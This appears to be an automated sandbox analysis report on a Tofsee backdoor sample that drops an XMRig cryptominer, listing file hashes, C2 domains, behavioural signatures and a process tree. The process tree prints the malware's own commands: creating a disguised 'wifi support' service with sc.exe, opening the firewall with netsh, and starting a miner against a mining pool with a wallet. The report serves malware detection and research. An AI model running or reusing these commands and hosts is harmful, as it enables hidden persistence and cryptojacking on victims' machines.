Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 01:50

General

  • Target

    7dc63527cec7b55e496323545391b2107bfdd3d17c36654bb77c15a1b3d99f4b.exe

  • Size

    310KB

  • MD5

    c1cfed7289ee988faef177e3ec37e5bf

  • SHA1

    90888ddfc5af6ba4f1104303fadf047d0a88821a

  • SHA256

    7dc63527cec7b55e496323545391b2107bfdd3d17c36654bb77c15a1b3d99f4b

  • SHA512

    e512dfdaa62ec1f8e4ed88789e162dfdd3762129a2e11222fb9d9ac973b9de3ed75a99b036c9d422c5a07c4bb8423aad2177b7c67ef6fcdee9801990b1956b80

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7dc63527cec7b55e496323545391b2107bfdd3d17c36654bb77c15a1b3d99f4b.exe
    "C:\Users\Admin\AppData\Local\Temp\7dc63527cec7b55e496323545391b2107bfdd3d17c36654bb77c15a1b3d99f4b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dhqntqar\
      2⤵
        PID:876
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gqwcvfst.exe" C:\Windows\SysWOW64\dhqntqar\
        2⤵
          PID:4236
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dhqntqar binPath= "C:\Windows\SysWOW64\dhqntqar\gqwcvfst.exe /d\"C:\Users\Admin\AppData\Local\Temp\7dc63527cec7b55e496323545391b2107bfdd3d17c36654bb77c15a1b3d99f4b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dhqntqar "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4168
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dhqntqar
          2⤵
          • Launches sc.exe
          PID:4532
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3348
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1640 -s 1040
          2⤵
          • Program crash
          PID:2212
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1640 -ip 1640
        1⤵
          PID:1884
        • C:\Windows\SysWOW64\dhqntqar\gqwcvfst.exe
          C:\Windows\SysWOW64\dhqntqar\gqwcvfst.exe /d"C:\Users\Admin\AppData\Local\Temp\7dc63527cec7b55e496323545391b2107bfdd3d17c36654bb77c15a1b3d99f4b.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3672
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1368
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:64
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3672 -s 508
            2⤵
            • Program crash
            PID:260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3672 -ip 3672
          1⤵
            PID:4224

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\gqwcvfst.exe
            Filesize

            14.5MB

            MD5

            eff8fbf0c92f5b11d9a2357cdc9c7670

            SHA1

            f281ff593e8089211f4eedd16e71f1c39218c84f

            SHA256

            89474aff6bcc853319a8649f2cf1440a532cd18bfe359260f9837f39b9ec84e7

            SHA512

            0c45ff43a56f34efb1b60176840a73bc81a5c2a0a5b532622c069382056d69b5bd11ce6211a855674b27e2e0260174ae197840b40137b206bba96a768d5eff07

          • C:\Windows\SysWOW64\dhqntqar\gqwcvfst.exe
            Filesize

            14.5MB

            MD5

            eff8fbf0c92f5b11d9a2357cdc9c7670

            SHA1

            f281ff593e8089211f4eedd16e71f1c39218c84f

            SHA256

            89474aff6bcc853319a8649f2cf1440a532cd18bfe359260f9837f39b9ec84e7

            SHA512

            0c45ff43a56f34efb1b60176840a73bc81a5c2a0a5b532622c069382056d69b5bd11ce6211a855674b27e2e0260174ae197840b40137b206bba96a768d5eff07

          • memory/64-176-0x0000000000630000-0x0000000000721000-memory.dmp
            Filesize

            964KB

          • memory/64-171-0x0000000000630000-0x0000000000721000-memory.dmp
            Filesize

            964KB

          • memory/64-170-0x0000000000000000-mapping.dmp
          • memory/876-133-0x0000000000000000-mapping.dmp
          • memory/1368-155-0x00000000023E0000-0x00000000023E6000-memory.dmp
            Filesize

            24KB

          • memory/1368-150-0x0000000001030000-0x0000000001045000-memory.dmp
            Filesize

            84KB

          • memory/1368-167-0x00000000031E0000-0x00000000031E7000-memory.dmp
            Filesize

            28KB

          • memory/1368-164-0x0000000007D00000-0x000000000810B000-memory.dmp
            Filesize

            4.0MB

          • memory/1368-161-0x00000000031D0000-0x00000000031D5000-memory.dmp
            Filesize

            20KB

          • memory/1368-158-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/1368-152-0x0000000002D00000-0x0000000002F0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1368-143-0x0000000000000000-mapping.dmp
          • memory/1368-144-0x0000000001030000-0x0000000001045000-memory.dmp
            Filesize

            84KB

          • memory/1368-151-0x0000000001030000-0x0000000001045000-memory.dmp
            Filesize

            84KB

          • memory/1640-149-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/1640-137-0x0000000000822000-0x0000000000832000-memory.dmp
            Filesize

            64KB

          • memory/1640-130-0x0000000000822000-0x0000000000832000-memory.dmp
            Filesize

            64KB

          • memory/1640-138-0x0000000000610000-0x0000000000623000-memory.dmp
            Filesize

            76KB

          • memory/1640-132-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/1640-131-0x0000000000610000-0x0000000000623000-memory.dmp
            Filesize

            76KB

          • memory/1872-136-0x0000000000000000-mapping.dmp
          • memory/3348-141-0x0000000000000000-mapping.dmp
          • memory/3672-148-0x0000000000400000-0x00000000004F3000-memory.dmp
            Filesize

            972KB

          • memory/3672-147-0x00000000007DE000-0x00000000007EE000-memory.dmp
            Filesize

            64KB

          • memory/4168-139-0x0000000000000000-mapping.dmp
          • memory/4236-134-0x0000000000000000-mapping.dmp
          • memory/4532-140-0x0000000000000000-mapping.dmp